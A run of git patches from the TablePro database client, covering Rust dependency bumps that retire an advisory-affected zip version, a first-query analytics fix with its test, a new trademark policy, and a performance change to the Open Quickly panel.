+        uses: actions/setup-python@6d4fd22b20465ccc0f7354476588e8df7c9ca0e0 # v7.1.0
         with:
           python-version: "3.9"
           update-environment: false

From 627c06a60c209997f8f2c28b85ea22bffaa088e2 Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Thu, 29 Oct 2026 22:42:54 +0700
Subject: [PATCH 27/44] ci(deps): bump zip from 8.6.0 to 9.0.5 in /linux
 (#3884)

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
---
 linux/Cargo.lock | 2 +-
 linux/Cargo.toml | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/linux/Cargo.lock b/linux/Cargo.lock
index 1714d8d671..39e40f47c2 100644
--- a/linux/Cargo.lock
+++ b/linux/Cargo.lock
@@ -5636,7 +5636,7 @@ dependencies = [
  "tokio-util",
  "unicode-width",
  "uuid",
- "zip 8.6.0",
+ "zip 9.0.5",
 ]
 
 [[package]]
diff --git a/linux/Cargo.toml b/linux/Cargo.toml
index 63737f6de8..3a4816f4c0 100644
--- a/linux/Cargo.toml
+++ b/linux/Cargo.toml
@@ -93,7 +93,7 @@ unicode-width = "0.2"
 # the build free of another C dependency. Constant memory lets a sheet
 # spill its rows to a temporary file instead of holding them.
 rust_xlsxwriter = { version = "0.99", default-features = false, features = ["chrono", "constant_memory"] }
-zip = { version = "8.3", default-features = false, features = ["deflate"] }
+zip = { version = "9.0", default-features = false, features = ["deflate"] }
 futures = "0.3"
 futures-util = { version = "0.3", default-features = false, features = ["std"] }
 bytes = "1"

From c43fab2b32cdd7b938cc033fa0bb43b7f26edb8a Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Fri, 30 Oct 2026 00:16:00 +0700
Subject: [PATCH 28/44] fix(analytics): record the first successful editor
 query again (#3886)

---
 .../MainContentCoordinator+History.swift      |  3 ++
 .../Views/Main/FirstQueryAnalyticsTests.swift | 41 +++++++++++++++++++
 2 files changed, 44 insertions(+)
 create mode 100644 apple/TableProTests/Views/Main/FirstQueryAnalyticsTests.swift

diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+History.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+History.swift
index 5415915038..8caead141f 100644
--- a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+History.swift
+++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+History.swift
@@ -10,6 +10,9 @@ extension MainContentCoordinator {
             if #available(macOS 14.0, *) {
                 FeatureTipSignals.editorQueryRan()
             }
+            if request.wasSuccessful {
+                MacAnalyticsProvider.shared.markFirstQueryExecuted()
+            }
         }
         let recorder = services.queryHistoryManager
         return Task(priority: .utility) {
diff --git a/apple/TableProTests/Views/Main/FirstQueryAnalyticsTests.swift b/apple/TableProTests/Views/Main/FirstQueryAnalyticsTests.swift
new file mode 100644
index 0000000000..05ae4ddff7
--- /dev/null
+++ b/apple/TableProTests/Views/Main/FirstQueryAnalyticsTests.swift
@@ -0,0 +1,41 @@
+import Foundation
+import Testing
+
+@testable import TablePro
+
+/// The heartbeat's first-query timestamp lost its only caller when `DatabaseManager.execute(query:)`
+/// was removed, so it stayed nil on every Mac. Recording an editor run's history is where it is set now.
+@MainActor
+struct FirstQueryAnalyticsTests {
+    private func request(_ source: QueryHistorySource, succeeded: Bool, connectionId: UUID) -> QueryHistoryRecordRequest {
+        QueryHistoryRecordRequest(
+            query: "SELECT 1",
+            connectionId: connectionId,
+            databaseName: "db",
+            databaseType: .postgresql,
+            source: source,
+            executionTime: 0.01,
+            rowCount: 1,
+            wasSuccessful: succeeded,
+            errorMessage: succeeded ? nil : "syntax error"
+        )
+    }
+
+    // The mark is written before recordHistory returns its task, so every assertion runs before the
+    // first suspension and no other suite can touch the shared defaults in between.
+    @Test("Only a successful editor query records the first-query timestamp")
+    func successfulEditorQueryMarksFirstQuery() async {
+        AppStorageEnvironment.shared.defaults.removeObject(forKey: MacAnalyticsProvider.Keys.firstQueryExecutedAt)
+        let fixture = CoordinatorFixture()
+        let connectionId = fixture.connection.id
+
+        let failed = fixture.coordinator.recordHistory(request(.editor, succeeded: false, connectionId: connectionId))
+        let browsed = fixture.coordinator.recordHistory(request(.tableBrowse, succeeded: true, connectionId: connectionId))
+        #expect(MacAnalyticsProvider.shared.firstQueryExecutedAt == nil)
+
+        let ran = fixture.coordinator.recordHistory(request(.editor, succeeded: true, connectionId: connectionId))
+        #expect(MacAnalyticsProvider.shared.firstQueryExecutedAt != nil)
+
+        _ = await (failed.value, browsed.value, ran.value)
+    }
+}

From 1c2b523ed26a39ee93ff533a466f9fbaa4e78f41 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Fri, 30 Oct 2026 00:35:43 +0700
Subject: [PATCH 29/44] build(linux): bump rust_xlsxwriter to 0.102 so zip
 8.6.0 leaves the build (#3885)

---
 linux/Cargo.lock                          | 24 +++++------------------
 linux/Cargo.toml                          |  2 +-
 linux/build-aux/debian/copyright          |  4 ++--
 linux/crates/core/src/export/xlsx.rs      |  2 +-
 linux/data/licenses/THIRD-PARTY-NOTICE.md |  4 ++--
 linux/data/licenses/third-party.json      |  8 ++++----
 linux/deny.toml                           |  3 ---
 7 files changed, 15 insertions(+), 32 deletions(-)

diff --git a/linux/Cargo.lock b/linux/Cargo.lock
index 39e40f47c2..75cc32a4cb 100644
--- a/linux/Cargo.lock
+++ b/linux/Cargo.lock
@@ -3176,7 +3176,7 @@ dependencies = [
  "tar",
  "ureq",
  "vcpkg",
- "zip 9.0.5",
+ "zip",
 ]
 
 [[package]]
@@ -4465,13 +4465,13 @@ dependencies = [
 
 [[package]]
 name = "rust_xlsxwriter"
-version = "0.99.1"
+version = "0.102.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "34f2d2cda7223168a14fb86bc7411dbc3379bd7d49749ecc53b91ed98585b6b0"
+checksum = "6ca3d0e879a578c1313c2800ab0c6c029d38eed18098675e50341a30d32372ed"
 dependencies = [
  "chrono",
  "tempfile",
- "zip 8.6.0",
+ "zip",
 ]
 
 [[package]]
@@ -5636,7 +5636,7 @@ dependencies = [
  "tokio-util",
  "unicode-width",
  "uuid",
- "zip 9.0.5",
+ "zip",
 ]
 
 [[package]]
@@ -7400,20 +7400,6 @@ dependencies = [
  "syn 3.0.5",
 ]
 
-[[package]]
-name = "zip"
-version = "8.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2d04a6b5381502aa6087c94c669499eb1602eb9c5e8198e534de571f7154809b"
-dependencies = [
- "crc32fast",
- "flate2",
- "indexmap 2.14.2",
- "memchr",
- "typed-path",
- "zopfli",
-]
-
 [[package]]
 name = "zip"
 version = "9.0.5"
diff --git a/linux/Cargo.toml b/linux/Cargo.toml
index 3a4816f4c0..49e09aac94 100644
--- a/linux/Cargo.toml
+++ b/linux/Cargo.toml
@@ -92,7 +92,7 @@ unicode-width = "0.2"
 # No zlib feature: it pulls libz-sys, and the pure-Rust deflate keeps
 # the build free of another C dependency. Constant memory lets a sheet
 # spill its rows to a temporary file instead of holding them.
-rust_xlsxwriter = { version = "0.99", default-features = false, features = ["chrono", "constant_memory"] }
+rust_xlsxwriter = { version = "0.102", default-features = false, features = ["chrono", "constant_memory"] }
 zip = { version = "9.0", default-features = false, features = ["deflate"] }
 futures = "0.3"
 futures-util = { version = "0.3", default-features = false, features = ["std"] }
diff --git a/linux/build-aux/debian/copyright b/linux/build-aux/debian/copyright
index d48e3c1655..ed284968cd 100644
--- a/linux/build-aux/debian/copyright
+++ b/linux/build-aux/debian/copyright
@@ -6321,7 +6321,7 @@ License: Apache-2.0 and Expat
  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
  SOFTWARE.
 
-Files: vendor/rust_xlsxwriter-0.99.1/*
+Files: vendor/rust_xlsxwriter-0.102.0/*
 Copyright: 2022-2026 John McNamara <jmcnamara@cpan.org>
 License: Apache-2.0 or Expat
  MIT License
@@ -8262,7 +8262,7 @@ License: Apache-2.0 or Expat
  IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
  DEALINGS IN THE SOFTWARE.
 
-Files: vendor/zip-8.6.0/*
+Files: vendor/zip-9.0.5/*
 Copyright: 2014 Mathijs van de Nes
 License: Expat
  The MIT License (MIT)
diff --git a/linux/crates/core/src/export/xlsx.rs b/linux/crates/core/src/export/xlsx.rs
index 6f551a9cdd..5ee065d76d 100644
--- a/linux/crates/core/src/export/xlsx.rs
+++ b/linux/crates/core/src/export/xlsx.rs
@@ -76,7 +76,7 @@ impl XlsxSheetWriter {
             });
         }
         let mut workbook = Workbook::new();
-        let sheet = workbook.add_worksheet_with_constant_memory();
+        let sheet = workbook.add_worksheet_with_constant_memory().map_err(xlsx_error)?;
         sheet.set_name(sheet_title(sheet_name)).map_err(xlsx_error)?;
         let header = Format::new().set_bold();
         for (index, column) in columns.iter().enumerate() {
diff --git a/linux/data/licenses/THIRD-PARTY-NOTICE.md b/linux/data/licenses/THIRD-PARTY-NOTICE.md
index c2555623ea..69686a7235 100644
--- a/linux/data/licenses/THIRD-PARTY-NOTICE.md
+++ b/linux/data/licenses/THIRD-PARTY-NOTICE.md
@@ -8615,7 +8615,7 @@ SOFTWARE.
 
 Used by:
 
-- rust_xlsxwriter 0.99.1
+- rust_xlsxwriter 0.102.0
 
 ~~~~text
 MIT License
@@ -9082,7 +9082,7 @@ SOFTWARE.
 Used by:
 
 - tracing-core 0.1.36
-- zip 8.6.0
+- zip 9.0.5
 
 ~~~~text
 The MIT License (MIT)
diff --git a/linux/data/licenses/third-party.json b/linux/data/licenses/third-party.json
index 6c14ece54b..0a05162944 100644
--- a/linux/data/licenses/third-party.json
+++ b/linux/data/licenses/third-party.json
@@ -1524,7 +1524,7 @@
       "name": "MIT License",
       "text": "MIT License\n\nCopyright 2022-2026 John McNamara <jmcnamara@cpan.org>\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\n",
       "used_by": [
-        { "crate": { "name": "rust_xlsxwriter", "version": "0.99.1" } }
+        { "crate": { "name": "rust_xlsxwriter", "version": "0.102.0" } }
       ]
     },
     {
@@ -1718,7 +1718,7 @@
       "text": "The MIT License (MIT)\n\nCopyright (c) 2014 Mathijs van de Nes\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n",
       "used_by": [
         { "crate": { "name": "tracing-core", "version": "0.1.36" } },
-        { "crate": { "name": "zip", "version": "8.6.0" } }
+        { "crate": { "name": "zip", "version": "9.0.5" } }
       ]
     },
     {
@@ -2558,7 +2558,7 @@
     { "name": "resolv-conf", "version": "0.7.6", "license": "MIT OR Apache-2.0" },
     { "name": "rmcp", "version": "3.6.0", "license": "Apache-2.0 AND MIT" },
     { "name": "rsa", "version": "0.10.0-rc.18", "license": "MIT OR Apache-2.0" },
-    { "name": "rust_xlsxwriter", "version": "0.99.1", "license": "MIT OR Apache-2.0" },
+    { "name": "rust_xlsxwriter", "version": "0.102.0", "license": "MIT OR Apache-2.0" },
     { "name": "rustc_version", "version": "0.4.1", "license": "MIT OR Apache-2.0" },
     { "name": "rustc_version_runtime", "version": "0.3.0", "license": "MIT" },
     { "name": "rustix", "version": "0.38.44", "license": "Apache-2.0 WITH LLVM-exception OR Apache-2.0 OR MIT" },
@@ -2700,7 +2700,7 @@
     { "name": "zerotrie", "version": "0.2.5", "license": "Unicode-3.0" },
     { "name": "zerovec", "version": "0.11.8", "license": "Unicode-3.0" },
     { "name": "zerovec-derive", "version": "0.11.6", "license": "Unicode-3.0" },
-    { "name": "zip", "version": "8.6.0", "license": "MIT" },
+    { "name": "zip", "version": "9.0.5", "license": "MIT" },
     { "name": "zlib-rs", "version": "0.6.7", "license": "Zlib" },
     { "name": "zmij", "version": "1.0.23", "license": "MIT" },
     { "name": "zopfli", "version": "0.8.3", "license": "Apache-2.0" },
diff --git a/linux/deny.toml b/linux/deny.toml
index a0809ee733..fee74fc4d7 100644
--- a/linux/deny.toml
+++ b/linux/deny.toml
@@ -9,9 +9,6 @@ yanked = "deny"
 unmaintained = "workspace"
 ignore = [
     { id = "RUSTSEC-2023-0071", reason = "rsa is reached only through sqlx-mysql, which encrypts the MySQL password with the server's public key; no private-key operation runs in process, and OpenSSH signs SSH identities. The rsa ban below holds that scope. See docs/decisions/0009-crypto-provider-and-sources.md." },
-    { id = "RUSTSEC-2026-0367", reason = "zip 8.6.0 comes only through rust_xlsxwriter 0.99.1, which writes archives and never reads one; the advisory is in ZipArchive::extract and ZipStreamReader::extract, which nothing here calls (core's export test reads entries by name). Drop it once a rust_xlsxwriter release takes zip 9 (https://github.com/jmcnamara/rust_xlsxwriter/issues/205)." },
-    { id = "RUSTSEC-2026-0368", reason = "zip 8.6.0 comes only through rust_xlsxwriter 0.99.1, which writes archives and never reads one; the advisory is in ZipArchive::extract and ZipStreamReader::extract, which nothing here calls (core's export test reads entries by name). Drop it once a rust_xlsxwriter release takes zip 9 (https://github.com/jmcnamara/rust_xlsxwriter/issues/205)." },
-    { id = "RUSTSEC-2026-0369", reason = "zip 8.6.0 comes only through rust_xlsxwriter 0.99.1, which writes archives and never reads one; the advisory is in ZipArchive::extract and ZipStreamReader::extract, which nothing here calls (core's export test reads entries by name). Drop it once a rust_xlsxwriter release takes zip 9 (https://github.com/jmcnamara/rust_xlsxwriter/issues/205)." },
 ]
 
 [licenses]

From 83edbf0ebef287af3ae59540c8771a458d84687d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Fri, 30 Oct 2026 01:27:37 +0700
Subject: [PATCH 30/44] docs: add a trademark policy for the TablePro name and
 icon (#3887)

---
 README.ko.md  |  2 +-
 README.md     |  2 +-
 README.vi.md  |  2 +-
 README.zh.md  |  2 +-
 TRADEMARKS.md | 24 ++++++++++++++++++++++++
 5 files changed, 28 insertions(+), 4 deletions(-)
 create mode 100644 TRADEMARKS.md

diff --git a/README.ko.md b/README.ko.md
index d066b55520..a976414762 100644
--- a/README.ko.md
+++ b/README.ko.md
@@ -171,4 +171,4 @@ TablePro에 기여해 주신 모든 분께 감사드립니다.
 
 ## 라이선스
 
-이 프로젝트는 [GNU Affero General Public License v3.0(AGPLv3)](LICENSE)에 따라 라이선스가 부여됩니다.
+이 프로젝트는 [GNU Affero General Public License v3.0(AGPLv3)](LICENSE)에 따라 라이선스가 부여됩니다. TablePro 이름과 아이콘은 이 라이선스에 포함되지 않으며, 사용 방법은 [TRADEMARKS.md](TRADEMARKS.md)에 있습니다.
diff --git a/README.md b/README.md
index 3c07e7197e..c2ed042266 100644
--- a/README.md
+++ b/README.md
@@ -182,5 +182,5 @@ Want to join them? Read [CONTRIBUTING.md](CONTRIBUTING.md).
 
 ## License
 
-This project is licensed under the [GNU Affero General Public License v3.0 (AGPLv3)](LICENSE).
+This project is licensed under the [GNU Affero General Public License v3.0 (AGPLv3)](LICENSE). The TablePro name and icon are not part of that license: [TRADEMARKS.md](TRADEMARKS.md) says how you can use them.
 
diff --git a/README.vi.md b/README.vi.md
index 4ea88ccfab..3886e7a2c8 100644
--- a/README.vi.md
+++ b/README.vi.md
@@ -146,5 +146,5 @@ Muốn tham gia? Đọc [CONTRIBUTING.md](CONTRIBUTING.md).
 
 ## Bản quyền
 
-Dự án này cấp phép theo [GNU Affero General Public License v3.0 (AGPLv3)](LICENSE).
+Dự án này cấp phép theo [GNU Affero General Public License v3.0 (AGPLv3)](LICENSE). Tên và biểu tượng TablePro không thuộc giấy phép đó: cách dùng được ghi trong [TRADEMARKS.md](TRADEMARKS.md).
 
diff --git a/README.zh.md b/README.zh.md
index 7fb23a2c33..fd8d3c0fdd 100644
--- a/README.zh.md
+++ b/README.zh.md
@@ -146,5 +146,5 @@ TablePro 由用户和以下赞助者支持。[成为赞助者](https://tablepro.
 
 ## 许可证
 
-本项目采用 [GNU Affero General Public License v3.0 (AGPLv3)](LICENSE) 许可。
+本项目采用 [GNU Affero General Public License v3.0 (AGPLv3)](LICENSE) 许可。TablePro 名称和图标不在该许可范围内，使用方式见 [TRADEMARKS.md](TRADEMARKS.md)。
 
diff --git a/TRADEMARKS.md b/TRADEMARKS.md
new file mode 100644
index 0000000000..35e46b4862
--- /dev/null
+++ b/TRADEMARKS.md
@@ -0,0 +1,24 @@
+# Trademark policy
+
+The code in this repository is licensed under the [AGPLv3](LICENSE). That license covers the code. It does not cover the name **TablePro** or the TablePro icon and logo, which identify the builds this project publishes. Section 7(e) of the AGPL lets a project keep those out of the license, and this file says what you can do with them.
+
+The aim is simple: anyone who downloads something called TablePro gets the app this project ships, not a build someone else changed.
+
+## What you can do
+
+- Build TablePro from this source for your own use, changed or not. The AGPL allows that, including a build with the license check removed.
+- Redistribute an official release unchanged, for example through a package manager, under the name TablePro.
+- Package the unchanged source for a Linux distribution or a package manager under the name TablePro, with only the changes packaging needs.
+- Say that your work is based on TablePro, works with TablePro, or is a fork of TablePro, in plain words that do not suggest it is TablePro.
+- Use the name and icon to write about TablePro, review it, teach it, or link to it.
+
+## What needs a different name and icon
+
+- A build with any other change, such as new or removed features, a removed license check, or other branding. Rename it and replace the icon before you share it.
+- A product, company, domain, app store listing, or package name that people could take for TablePro or for something made by this project.
+- Anything that suggests this project endorses, sponsors, or supports your work when it does not.
+- Selling copies, or builds with the paid features unlocked, under the TablePro name.
+
+## Questions
+
+For anything this file does not cover, or to ask for permission, write to [hello@tablepro.app](mailto:hello@tablepro.app).

From 7cdfa2d710084ddace89b4b98868317e3852a3b7 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Fri, 30 Oct 2026 01:49:53 +0700
Subject: [PATCH 31/44] perf(quick-switcher): cut the main-thread stalls of
 opening Open Quickly (#3888)

---
 .../ViewModels/QuickSwitcherViewModel.swift   | 39 +++++++++++++-
 ...MainContentCoordinator+QuickSwitcher.swift | 11 +++-
 .../QuickSwitcher/QuickSwitcherPanel.swift    | 41 +++++++++++----
 .../QuickSwitcherPanelView.swift              | 51 +++++++++++++++----
 .../DatabaseTreeOutlineCoordinator.swift      |  3 +-
 .../Sidebar/DatabaseTreeRenderInputs.swift    |  7 ++-
 .../QuickSwitcherViewModelTests.swift         | 18 +++++++
 .../QuickSwitcherPanelControllerTests.swift   | 37 ++++++++++++++
 .../Sidebar/DatabaseTreeReconcileTests.swift  | 12 +++--
 apple/changelog.d/3888.changed.1.md           |  1 +
 apple/changelog.d/3888.changed.md             |  1 +
 11 files changed, 188 insertions(+), 33 deletions(-)
 create mode 100644 apple/changelog.d/3888.changed.1.md
 create mode 100644 apple/changelog.d/3888.changed.md

diff --git a/apple/TablePro/ViewModels/QuickSwitcherViewModel.swift b/apple/TablePro/ViewModels/QuickSwitcherViewModel.swift
index dc065991a3..0fbec7e3a0 100644
--- a/apple/TablePro/ViewModels/QuickSwitcherViewModel.swift
+++ b/apple/TablePro/ViewModels/QuickSwitcherViewModel.swift
@@ -121,6 +121,8 @@ internal final class QuickSwitcherViewModel: ObservableObject {
     private var activeCrossConnectionQueryLoadId = UUID()
     private var loadedCrossConnectionVersion: CrossConnectionCatalogVersion?
     private var loadedCrossConnectionQueryVersion: CrossConnectionQueryVersion?
+    // The retained Open Quickly panel keeps showing this model until its next presentation.
+    private var isReleased = false
 
     @Published private(set) var groups: [Group] = []
     @Published private(set) var isLoading = true
@@ -252,6 +254,8 @@ internal final class QuickSwitcherViewModel: ObservableObject {
         openTables: Set<QuickSwitcherOpenTable> = [],
         browseSchema: String? = nil
     ) async {
+        // A task that starts after the panel already closed would set up the observers again.
+        guard !isReleased, !Task.isCancelled else { return }
         isLoading = true
 
         let loadId = UUID()
@@ -520,7 +524,7 @@ internal final class QuickSwitcherViewModel: ObservableObject {
     /// task that drives this, and the refresh it just ran has already moved the version, so
     /// the panel refreshes that connection forever.
     func loadCrossConnectionItems() async {
-        guard scope.usesCrossConnectionCatalog else { return }
+        guard !isReleased, scope.usesCrossConnectionCatalog else { return }
         guard loadedCrossConnectionVersion != crossConnectionCatalogVersion else { return }
 
         let loadId = UUID()
@@ -554,7 +558,7 @@ internal final class QuickSwitcherViewModel: ObservableObject {
     }
 
     func loadCrossConnectionQueryItems() async {
-        guard scope.usesCrossConnectionQueries else { return }
+        guard !isReleased, scope.usesCrossConnectionQueries else { return }
 
         let version = crossConnectionQueryVersion
         guard loadedCrossConnectionQueryVersion != version else { return }
@@ -716,6 +720,36 @@ internal final class QuickSwitcherViewModel: ObservableObject {
         return covered
     }
 
+    /// Run when the panel closes. Loads still in flight see the bumped ids and drop what they bring.
+    func releaseResults() {
+        isReleased = true
+        activeLoadId = UUID()
+        activeCrossConnectionLoadId = UUID()
+        activeCrossConnectionQueryLoadId = UUID()
+        listingRequestId = nil
+        tableSourceObservations = []
+        tableSource = nil
+        tableInputs = nil
+        pendingTableBuild?.task.cancel()
+        pendingTableBuild = nil
+        filterTask?.cancel()
+        filterTask = nil
+        baseItems = nil
+        tableItems = []
+        tableItemKeys = []
+        allItems = []
+        crossConnectionItems = []
+        crossConnectionQueryItems = []
+        groups = []
+        selectedItemId = nil
+        isFiltering = false
+        isLoadingBrowseCatalog = false
+        isListingInFlight = false
+        isSharedListingLoading = false
+        isLoadingCrossConnections = false
+        isLoadingCrossConnectionQueries = false
+    }
+
     func canOpenStructure(_ item: QuickSwitcherItem) -> Bool {
         guard let target = item.target else { return true }
         return target.connectionId == connectionId
@@ -762,6 +796,7 @@ internal final class QuickSwitcherViewModel: ObservableObject {
     /// build off the main actor so neither can stall the panel while it is being typed into.
     private func scheduleFilter(debounced: Bool) {
         filterTask?.cancel()
+        guard !isReleased else { return }
         let query = searchText.trimmingCharacters(in: .whitespaces)
         let items = scopedItems()
         let scope = scope
diff --git a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+QuickSwitcher.swift b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+QuickSwitcher.swift
index 44ec500a21..5e1c694871 100644
--- a/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+QuickSwitcher.swift
+++ b/apple/TablePro/Views/Main/Extensions/MainContentCoordinator+QuickSwitcher.swift
@@ -39,15 +39,22 @@ extension MainContentCoordinator {
                     )
                 }
         )
+        let viewModel = QuickSwitcherViewModel(connectionId: connectionId)
         let panelView = QuickSwitcherPanelView(
-            connectionId: connectionId,
+            viewModel: viewModel,
             databaseType: connection.type,
             openTables: openTables,
             browseSchema: browseSchema,
             onSelect: { [weak self] item, intent in self?.handleQuickSwitcherSelection(item, intent: intent) },
             onDismiss: { [weak self] in self?.quickSwitcherPanel?.dismiss() }
         )
-        quickSwitcherPanel.present(panelView, over: contentWindow, identity: Self.openQuicklyPanelIdentity)
+        quickSwitcherPanel.present(
+            panelView,
+            over: contentWindow,
+            identity: Self.openQuicklyPanelIdentity,
+            retainsPanel: true,
+            onClose: { [weak viewModel] in viewModel?.releaseResults() }
+        )
         InteractionTracer.shared.end(
             .quickOpenPanel, key: connectionId.uuidString, after: quickSwitcherPanel.presentedWindow
         )
diff --git a/apple/TablePro/Views/QuickSwitcher/QuickSwitcherPanel.swift b/apple/TablePro/Views/QuickSwitcher/QuickSwitcherPanel.swift
index c9fff03a8d..ce96a30661 100644
--- a/apple/TablePro/Views/QuickSwitcher/QuickSwitcherPanel.swift
+++ b/apple/TablePro/Views/QuickSwitcher/QuickSwitcherPanel.swift
@@ -114,7 +114,13 @@ internal final class QuickSwitcherPanelController: NSObject, NSWindowDelegate {
 
     private static let topOffsetRatio: CGFloat = 0.20
 
+    private struct RetainedPanel {
+        let panel: QuickSwitcherPanel
+        let hostingController: NSHostingController<AnyView>
+    }
+
     private var panel: QuickSwitcherPanel?
+    private var retainedPanels: [String: RetainedPanel] = [:]
     private var anchor: Anchor?
     private var presentedIdentity: String?
     private var onClose: (() -> Void)?
@@ -132,32 +138,43 @@ internal final class QuickSwitcherPanelController: NSObject, NSWindowDelegate {
 
     /// `onClose` runs however the panel goes, including when another presentation replaces it,
     /// which is how a caller that keeps state of its own alongside the panel learns to drop it.
+    /// `retainsPanel` keeps the window and view tree for the next presentation under the same identity,
+    /// so content must take its model from the caller: a `@StateObject` would survive the root swap.
     func present(
         _ content: some View,
         over parentWindow: NSWindow?,
         identity: String? = nil,
         focus: QuickSwitcherPanelFocus = .key,
         accessibilityIdentifier: String = "quick-switcher-panel",
+        retainsPanel: Bool = false,
         onClose: (() -> Void)? = nil
     ) {
         dismiss()
         presentedIdentity = identity
         self.onClose = onClose
 
-        let sizeReportingContent = content.onGeometryChange(for: CGSize.self) { proxy in
+        let root = AnyView(content.onGeometryChange(for: CGSize.self) { proxy in
             proxy.size
         } action: { [weak self] size in
             self?.contentSizeDidChange(size)
+        })
+        let panel: QuickSwitcherPanel
+        if retainsPanel, let identity, let retained = retainedPanels[identity] {
+            retained.hostingController.rootView = root
+            panel = retained.panel
+        } else {
+            let hostingController = NSHostingController(rootView: root)
+            panel = QuickSwitcherPanel(
+                hostingController: hostingController,
+                surfaceCornerRadius: QuickSwitcherMetrics.cornerRadius,
+                focus: focus,
+                accessibilityIdentifier: accessibilityIdentifier
+            )
+            panel.delegate = self
+            if retainsPanel, let identity {
+                retainedPanels[identity] = RetainedPanel(panel: panel, hostingController: hostingController)
+            }
         }
-        let hostingController = NSHostingController(rootView: sizeReportingContent)
-
-        let panel = QuickSwitcherPanel(
-            hostingController: hostingController,
-            surfaceCornerRadius: QuickSwitcherMetrics.cornerRadius,
-            focus: focus,
-            accessibilityIdentifier: accessibilityIdentifier
-        )
-        panel.delegate = self
         self.panel = panel
 
         let reference = parentWindow?.frame
@@ -182,7 +199,9 @@ internal final class QuickSwitcherPanelController: NSObject, NSWindowDelegate {
 
     func windowWillClose(_ notification: Notification) {
         panel?.keyCommandHandler = nil
-        panel?.contentViewController = nil
+        if let panel, !retainedPanels.values.contains(where: { $0.panel === panel }) {
+            panel.contentViewController = nil
+        }
         panel = nil
         anchor = nil
         presentedIdentity = nil
diff --git a/apple/TablePro/Views/QuickSwitcher/QuickSwitcherPanelView.swift b/apple/TablePro/Views/QuickSwitcher/QuickSwitcherPanelView.swift
index 4cfc871dd8..e2a2721207 100644
--- a/apple/TablePro/Views/QuickSwitcher/QuickSwitcherPanelView.swift
+++ b/apple/TablePro/Views/QuickSwitcher/QuickSwitcherPanelView.swift
@@ -7,30 +7,28 @@ import AppKit
 import SwiftUI
 
 struct QuickSwitcherPanelView: View {
-    let connectionId: UUID
     let databaseType: DatabaseType
     let openTables: Set<QuickSwitcherOpenTable>
     let browseSchema: String?
     let onSelect: (QuickSwitcherItem, QuickSwitcherCommitIntent) -> Void
     let onDismiss: () -> Void
 
-    @StateObject private var viewModel: QuickSwitcherViewModel
+    @ObservedObject private var viewModel: QuickSwitcherViewModel
 
     init(
-        connectionId: UUID,
+        viewModel: QuickSwitcherViewModel,
         databaseType: DatabaseType,
         openTables: Set<QuickSwitcherOpenTable> = [],
         browseSchema: String? = nil,
         onSelect: @escaping (QuickSwitcherItem, QuickSwitcherCommitIntent) -> Void,
         onDismiss: @escaping () -> Void
     ) {
-        self.connectionId = connectionId
         self.databaseType = databaseType
         self.openTables = openTables
         self.browseSchema = browseSchema
         self.onSelect = onSelect
         self.onDismiss = onDismiss
-        self._viewModel = StateObject(wrappedValue: QuickSwitcherViewModel(connectionId: connectionId))
+        self.viewModel = viewModel
     }
